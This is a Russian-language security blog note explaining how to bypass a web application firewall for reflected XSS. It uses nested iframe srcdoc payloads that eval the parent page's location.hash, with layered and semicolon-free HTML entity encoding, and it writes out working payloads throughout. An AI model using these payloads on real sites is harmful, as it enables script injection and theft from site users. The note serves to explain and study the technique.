все заметки

iframe в iframe (waf xss filter bypass)

2020.09.07 (ред.: 2025.03.11)
Обновление2025-03-11: Теперь это русская версия

Был найден параметр, который выводился в теле html (так называемая reflected xss). Но на сервере имеется WAF и блокирует запросы содержащие:

<svg>\n<script>\nвсе события: onload, onerror, onclick, и т.д\nфункции: eval, alert, prompt, confirm, и т.д\n

Но, iframe спокойно проходит:

<iframe src="" srcdoc="">

В то же время полезную нагрузку так же нельзя использовать:

<iframe src="%09javascript">\n<iframe src="data">\n<iframe srcdoc="<script">\n<iframe srcdoc="&lt;script">\netc...\n

Вызов принят

Чтобы не грузить запрос, я использую location.hash:

<script>eval(location.hash.substring`1`)</script>

Добавляем parent (нам нужно получить доступ к главному location, там наш hash).
Естественно такой запрос блокируется:

<iframe srcdoc='<script>eval(parent.location.hash.substring`1`)</script>'></iframe>

И замена символов на код, так же блокируется. Ясное дело WAF декодирует это дело.

А что если запихнуть этот iframe в еще один, ведь в нем можно будет еще раз символы преобразовать в код?
Добавляем еще один parent.

<iframe srcdoc="<iframe srcdoc='<script>eval(parent.parent.location.hash.substring`1`)</script>'></iframe>"></iframe>

Для начала меняем первые (или другие, не важно) символы в script и eval (hex):

<iframe srcdoc="<iframe srcdoc='<&#x73;cript>&#x65;val(parent.parent.location.hash.substring`1`)</&#x73;cript>'></iframe>"></iframe>

Или dec:

<iframe srcdoc="<iframe srcdoc='<&#115;cript>&#101;val(parent.parent.location.hash.substring`1`)</&#115;cript>'></iframe>"></iframe>

Мы помним, это дело блокируется `&#` and `&#x`

Но, так как у нас вложение iframe, все коды символов будет каждый раз декодироваться. А значит можно символы &, #, x преобразовать в еще один код:

<iframe srcdoc="<iframe srcdoc='<&amp;#x73;cript>&&#x23;x65;val(parent.parent.location.hash.substring`1`)</&#&#x78;73;cript>'></iframe>"></iframe>

Booom!

То есть, WAF должна декодировать нагрузку рекурсией, пока в итоге не окажется &, #, x символов с кодом. Естественно этого никто не делает.

Точка с запятой

Разбираясь с этим вызовом, наткнулся на интересное поведение этих кодов (именно в браузере).

  • Если код десятичный, и за ним нет [0-9], то точка с запятой не нужна
  • Если шестнадцатеричный, и за ним нет [0-9A-F], то так же точка с запятой не нужна
  • Если используется сущность, а далее нет [A-Z], то такое же поведение, ; не нужно проставлять
<iframe srcdoc="<iframe srcdoc='&#x26lt&amp#115cript>&&#x23x65val(parent.parent.location.hash.substring`1`)</&amp#115cript>'></iframe>"></iframe>

Вот можно заценить: second booom!

iframe waf xss bypass

А еще интереснее... Например, в PHP html_entity_decode не может декодировать без точки с запятой.
Что нам только в помощь.

еще по теме xss